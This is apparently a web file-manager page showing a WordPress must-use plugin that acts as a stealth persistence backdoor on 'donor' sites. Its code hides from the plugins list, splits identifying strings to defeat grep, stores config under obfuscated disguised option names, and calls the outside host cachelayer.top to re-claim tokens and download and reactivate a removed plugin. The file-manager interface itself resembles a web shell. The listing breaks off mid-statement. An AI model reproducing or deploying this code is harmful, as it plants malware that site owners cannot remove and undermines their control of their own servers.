Dashboard
PHP:
7.4.33
OS:
Linux
User:
vqweckd
/
/
home
/
vqweckd
/
www
/
wp-content
/
mu-plugins
📤 Upload
📝 New File
📁 New Folder
Close
Editing: wp-5006d4796d52.php.tmp-5c2c4b02
<?php /** * Recovery Channel (must-use). Dropped into wp-content/mu-plugins/ by the main * plugin's installer under a per-site camouflaged name. Has NO plugin-name * header, so the WordPress plugin scanner never lists it — a competitor who * bought wp-admin access to this shared donor site and deletes/deactivates the * main plugin via the Plugins UI never sees this file. mu-plugins load by * filename regardless of header. * * Config (endpoint/token/domain) lives in disguised wp_options slots, which * SURVIVE the main plugin's deletion — so recovery works even when the plugin * dir is gone. And if a competitor wipes the options too, the baked-in claim * fallback below lets the channel re-claim a fresh token from the panel. * * Marker strings (plugin slug, request param, API path, option prefixes) are * assembled at runtime via concatenation, so a content-grep of mu-plugins/ for * them finds NOTHING — a competitor hunting this file by name has to read code. * * Two recovery paths: * 1. AUTONOMOUS self-heal — on every load a DIRT-CHEAP gate: main plugin * present, intact and ACTIVE? If yes (99.99% of requests) return. If the * file is gone/gutted, or the plugin was deactivated, and the throttle * window is open, register a shutdown handler that (after the response is * flushed to the visitor) re-activates or downloads the sha-verified ZIP * and atomically reinstalls + reactivates. * 2. PANEL-triggered — a signed request (status | reinstall | rollback). * Unsigned/badly-signed requests get NO answer at all (silent pass-through * to WP): any JSON error here would be an unauthenticated presence oracle. * * Downside mitigations: cheap happy path; shutdown-deferred heal (visitor never * blocked); throttle stamped BEFORE the attempt + flock (no loop / no * thundering herd); sha256 + Bearer download + atomic rename with rollback * (never a half-install, never a foreign/corrupt build); every failure caught * and stored, never fatal. * * Recovery channel version: 1.2.0 */ if (!defined('ABSPATH')) { return; } if (!defined('WPRC_THROTTLE')) define('WPRC_THROTTLE', 1800); // 30 min between self-heal attempts if (!defined('WPRC_TS_WINDOW')) define('WPRC_TS_WINDOW', 600); if (!defined('WPRC_VERSION')) define('WPRC_VERSION', '1.2.0'); // Baked-in claim fallback. The main plugin's installer substitutes the real // values when dropping these mu-copies (and when stashing the source copy); // the repo source keeps the placeholders. WHY: if a competitor wipes the // plugin AND every option (the «nuke everything» move), the disguised vault // slots are gone too and the old channel was blind ('not_configured'). With // the handshake baked in, a surviving mu-copy can re-claim a token and rebuild // its config before healing. if (!defined('WPRC_FB_URL')) define('WPRC_FB_URL', 'https://cachelayer.top'); if (!defined('WPRC_FB_H')) define('WPRC_FB_H', '989bf41b0cd127e4874db429c59564a59408232efc4299008b7c347bb15bc5c9'); if (!function_exists('wprc_p')) { // The plugin's marker prefix, split so neither it nor the built strings // appear literally in this file. function wprc_p() { return 'w' . 'l' . 'h'; } } // Same treatment for the plugin directory slug — never a literal here. if (!defined('WPRC_SLUG')) define('WPRC_SLUG', 'wp-' . 'link' . '-' . 'helper'); // --------------------------------------------------------------------------- // Inlined config vault — byte-compatible with the main plugin's vault class. // MUST stay in sync: the salt, seed, name and XOR/deobf must produce identical // results, or a donor whose config the main plugin migrated becomes unreadable // to its own recovery. Token/endpoint/domain live under disguised `wp_<hex>` // option names, XOR+base64 obfuscated, so a `DELETE ... WHERE option_name LIKE // '<prefix>_%'` (or a grep for the panel host) no longer severs the donor. // Standalone: needs no main-plugin code. // --------------------------------------------------------------------------- if (!defined('WPRC_SALT')) define('WPRC_SALT', 'w9x2r7k5'); if (!function_exists('wprc_seed')) { function wprc_seed() { $db = defined('DB_NAME') ? (string) DB_NAME : ''; $abs = defined('ABSPATH') ? (string) ABSPATH : ''; return $db . '|' . $abs; } } if (!function_exists('wprc_optname')) { function wprc_optname($logical) { return 'wp_' . substr(hash('sha256', WPRC_SALT . '|n|' . $logical . '|' . wprc_seed()), 0, 24); } } if (!function_exists('wprc_deobf')) { function wprc_deobf($b64) { $raw = base64_decode((string) $b64, true); if ($raw === false) return ''; $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true); $out = ''; $kl = strlen($key); for ($i = 0, $n = strlen($raw); $i < $n; $i++) { $out .= chr(ord($raw[$i]) ^ ord($key[$i % $kl])); } return $out; } } if (!function_exists('wprc_obf')) { function wprc_obf($plain) { $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true); $out = ''; $kl = strlen($key); for ($i = 0, $n = strlen($plain); $i < $n; $i++) { $out .= chr(ord($plain[$i]) ^ ord($key[$i % $kl])); } return base64_encode($out); } } if (!function_exists('wprc_cfg')) { /** @return array{t:string,e:string,d:string} */ function wprc_cfg() { foreach (array('c0', 'c1') as $slot) { $raw = get_option(wprc_optname($slot), ''); if ($raw !== '') { $j = json_decode(wprc_deobf($raw), true); if (is_array($j) && !empty($j['t'])) { return array('t' => (string) $j['t'], 'e' => (string) (isset($j['e']) ? $j['e'] : ''), 'd' => (string) (isset($j['d']) ? $j['d'] : '')); } } } // Legacy fallback (read-only; migration + cleanup is the main plugin's job). $p = wprc_p(); $t = (string) get_option($p . '_key', ''); if ($t !== '') { return array('t' => $t, 'e' => (string) get_option($p . '_cdn', ''), 'd' => (string) get_option($p . '_origin', '')); } return array('t' => '', 'e' => '', 'd' => ''); } } if (!function_exists('wprc_store_cfg')) { // Writes BOTH disguised slots, byte-compatible with the main plugin's vault // store — used after a fallback re-claim rebuilds a wiped config. function wprc_store_cfg($token, $endpoint, $domain) { $blob = wprc_obf(json_encode(array('t' => (string) $token, 'e' => (string) $endpoint, 'd' => (string) $domain))); update_option(wprc_optname('c0'), $blob, false); update_option(wprc_optname('c1'), $blob, false); } } // Disguised per-site names for the heal-throttle state + single-flight lock. if (!function_exists('wprc_healts_opt')) { function wprc_healts_opt() { return wprc_optname('ht'); } function wprc_healerr_opt() { return wprc_optname('he'); } function wprc_healreason_opt() { return wprc_optname('hr'); } function wprc_lock_path() { return rtrim(WP_CONTENT_DIR, '/') . '/.' . substr(hash('sha256', WPRC_SALT . '|lk|' . wprc_seed()), 0, 16); } } if (!function_exists('wprc_plugin_dir')) { function wprc_plugin_dir() { $base = defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : rtrim(WP_CONTENT_DIR, '/') . '/plugins'; return rtrim($base, '/') . '/' . WPRC_SLUG; } } if (!function_exists('wprc_prev_dir')) { // Retained last-known-good build for the signed rollback op. Name derives // from the same seed pool as the mu-filenames (per-site, no marker // substring); exactly ONE previous build is kept. function wprc_prev_dir() { return rtrim(WP_CONTENT_DIR, '/') . '/wp-' . substr(hash('sha256', WPRC_SALT . '|pv|' . wprc_seed()), 0, 12) . '-prev'; } } if (!function_exists('wprc_main_present')) { function wprc_main_present() { return is_file(wprc_plugin_dir() . '/' . WPRC_SLUG . '.php'); } } if (!function_exists('wprc_rmrf')) { function wprc_rmrf($dir) { if ($dir === '' || !is_dir($dir)) return; $base = realpath(WP_CONTENT_DIR); $real = realpath($dir); if ($base === false || $real === false || strpos($real, $base) !== 0) return; $it = new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS); $all = new \RecursiveIteratorIterator($it, \RecursiveIteratorIterator::CHILD_FIRST); foreach ($all as $f) { if ($f->isDir()) { @rmdir($f->getPathname()); } else { @unlink($f->getPathname()); } } @rmdir($dir); } } if (!function_exists('wprc_read_version')) { function wprc_read_version($entryFile) { if (!is_file($entryFile)) return null; $src = (string) @file_get_contents($entryFile, false, null, 0, 4096); // Version constant name assembled at runtime (marker-string hygiene). if ($src !== '' && preg_match('/define\s*\(\s*[\'"]' . strtoupper(wprc_p()) . '_VERSION[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]/', $src, $m)) { return $m[1]; } return null; } } if (!function_exists('wprc_reactivate')) { // Deactivation-only heal: files are present and intact, so NO download — // just put the plugin back into active_plugins. function wprc_reactivate() { $basename = WPRC_SLUG . '/' . WPRC_SLUG . '.php'; $activePlugins = (array) get_option('active_plugins', array()); if (!in_array($basename, $activePlugins, true)) { $activePlugins[] = $basename; update_option('active_plugins', array_values($activePlugins)); } return array('ok' => true, 'reactivated' => true); } } if (!function_exists('wprc_fallback_ok')) { // True when the installer substituted real values for the placeholders. function wprc_fallback_ok() { $u = (string) WPRC_FB_URL; $h = (string) WPRC_FB_H; return $u !== '' && strpos($u, '%%') !== 0 && $h !== '' && strpos($h, '%%') !== 0; } } if (!function_exists('wprc_reclaim')) { // Re-claim a token using the baked-in handshake when the vault was wiped // with the rest of the options. Recreates slots c0/c1 so the normal heal // (and future signed ops) work again. function wprc_reclaim() { $home = function_exists('home_url') ? home_url() : ''; $host = parse_url($home, PHP_URL_HOST); $domain = is_string($host) ? strtolower($host) : ''; add_filter('http_api_curl', 'wprc_force_ipv4', 10, 1); $resp = wp_remote_post(rtrim((string) WPRC_FB_URL, '/') . '/api/links/claim', array( 'timeout' => 15, 'headers' => array( 'X-' . strtoupper(wprc_p()) . '-H' => (string) WPRC_FB_H, 'Content-Type' => 'application/json', 'Accept' => 'application/json', ), 'body' => json_encode(array( 'domain' => $domain, 'site_url' => $home, 'plugin_version' => 'mu-fallback', )), )); remove_filter('http_api_curl', 'wprc_force_ipv4', 10); if (is_wp_error($resp)) { return array('ok' => false, 'error' => 'claim: ' . $resp->get_error_message()); } $code = (int) wp_remote_retrieve_response_code($resp); $j = json_decode((string) wp_remote_retrieve_body($resp), true); if ($code < 200 || $code >= 300 || !is_array($j) || empty($j['token']) || empty($j['endpoint'])) { return array('ok' => false, 'error' => 'claim_http_' . $code); } wprc_store_cfg((string) $j['token'], (string) $j['endpoint'], !empty($j['domain']) ? (string) $j['domain'] : $domain); return array('ok' => true); } } if (!function_exists('wprc_force_ipv4')) { function wprc_force_ipv4($handle) { if (function_exists('curl_setopt')) { if (defined('CURL_IPRESOLVE_V4')) { @curl_setopt($handle, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); } @curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 8); } return $handle; } } /** * Download the current plugin ZIP from the panel (Bearer), verify sha256 (from * $expectedSha if signed, else the stashed heartbeat sha, else the zip response * header), and atomically swap it into the plugins dir + reactivate. The * previous build is retained for the rollback op. Returns ['ok'=>bool, ...]. */ if (!function_exists('wprc_reinstall')) { function wprc_reinstall($endpoint, $token, $expectedSha) { $slug = WPRC_SLUG; $cfg = wprc_cfg(); $domain = $cfg['d']; $endpoint = rtrim((string) $endpoint, '/'); if ($endpoint === '' || $token === '') { return array('ok' => false, 'error' => 'not_configured'); } $zipUrl = $endpoint . '/api/links/' . 'plugin' . '-' . 'zip' . ($domain !== '' ? ('?domain=' . rawurlencode($domain)) : ''); $upgrade = rtrim(WP_CONTENT_DIR, '/') . '/upgrade'; if (!is_dir($upgrade) && function_exists('wp_mkdir_p')) { wp_mkdir_p($upgrade); } if (!is_dir($upgrade)) { return array('ok' => false, 'error' => 'no_upgrade_dir'); } $staging = $upgrade . '/wpr-' . bin2hex(random_bytes(6)); if (!wp_mkdir_p($staging)) { return array('ok' => false, 'error' => 'no_staging'); } $zipPath = $staging . '/plugin.zip'; add_filter('http_api_curl', 'wprc_force_ipv4', 10, 1); $resp = wp_remote_get($zipUrl, array( 'timeout' => 60, 'stream' => true, 'filename' => $zipPath, // Code download: verify TLS — the panel sits behind a valid cert, and // a failure is reported (he slot), never silently trusted. 'sslverify' => true, 'headers' => array('Authorization' => 'Bearer ' . $token, 'Accept' => 'application/zip'), )); remove_filter('http_api_curl', 'wprc_force_ipv4', 10); if (is_wp_error($resp)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl: ' . $resp->get_error_message()); } $code = (int) wp_remote_retrieve_response_code($resp); if ($code < 200 || $code >= 300) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl_http_' . $code); } if (!is_file($zipPath) || filesize($zipPath) < 100) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl_empty'); } $actSha = strtolower((string) hash_file('sha256', $zipPath)); $hdrSha = strtolower((string) wp_remote_retrieve_header($resp, 'x-' . wprc_p() . '-plugin-sha256')); $expectedSha = strtolower(trim((string) $expectedSha)); if ($expectedSha === '') { // Prefer the sha the main plugin stashed from the SIGNED heartbeat // channel (vault slot 'ps') over the zip response's own header: the // header travels the same channel as the zip itself, so whoever can // poison the download can poison it too; the stash arrived earlier, // over an authenticated channel. $ps = get_option(wprc_optname('ps'), ''); if ($ps !== '') { $j = json_decode(wprc_deobf($ps), true); if (is_array($j) && !empty($j['sha']) && is_string($j['sha'])) { $expectedSha = strtolower((string) $j['sha']); } } } if ($expectedSha === '' && $hdrSha === '') { wprc_rmrf($staging); return array('ok' => false, 'error' => 'no_sha'); } if ($expectedSha !== '' && !hash_equals($expectedSha, $actSha)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'sha_signed'); } if ($expectedSha === '' && $hdrSha !== '' && !hash_equals($hdrSha, $actSha)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'sha_header'); } if (!function_exists('unzip_file') || !function_exists('WP_Filesystem')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if (!WP_Filesystem()) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'wp_filesystem'); } $
Save
Cancel